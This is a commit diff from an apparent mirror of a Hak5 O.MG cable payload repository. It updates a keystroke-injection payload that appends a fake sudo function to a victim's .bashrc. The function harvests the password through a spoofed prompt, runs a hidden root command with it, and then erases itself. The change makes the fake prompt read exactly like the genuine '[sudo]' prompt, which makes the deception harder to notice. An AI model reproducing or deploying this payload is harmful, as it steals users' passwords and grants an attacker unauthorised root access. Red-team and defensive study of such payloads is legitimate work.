mirror of https://github.com/hak5/omg-payloads.git
Update payload.txt
parent
0b62562dd7
commit
65b9e0de86
|
@ -36,7 +36,7 @@ STRINGLN_BLOCK
|
||||||
echo '
|
echo '
|
||||||
sudo() {
|
sudo() {
|
||||||
while true; do
|
while true; do
|
||||||
read -s -r -p "[sudo-fake] password for ${USER}: " passwd
|
read -s -r -p "[sudo] password for ${USER}: " passwd
|
||||||
echo "${passwd}" | /usr/bin/sudo -S ${@} && { echo "${passwd}" | /usr/bin/sudo -S #cmd; head -n -6 .bashrc > temp && mv temp .bashrc; break; } >/dev/null 2>&1 || { clear; echo "Sorry, try again."; }
|
echo "${passwd}" | /usr/bin/sudo -S ${@} && { echo "${passwd}" | /usr/bin/sudo -S #cmd; head -n -6 .bashrc > temp && mv temp .bashrc; break; } >/dev/null 2>&1 || { clear; echo "Sorry, try again."; }
|
||||||
done
|
done
|
||||||
}' >> .bashrc
|
}' >> .bashrc
|
||||||
|
|
Loading…
Reference in New Issue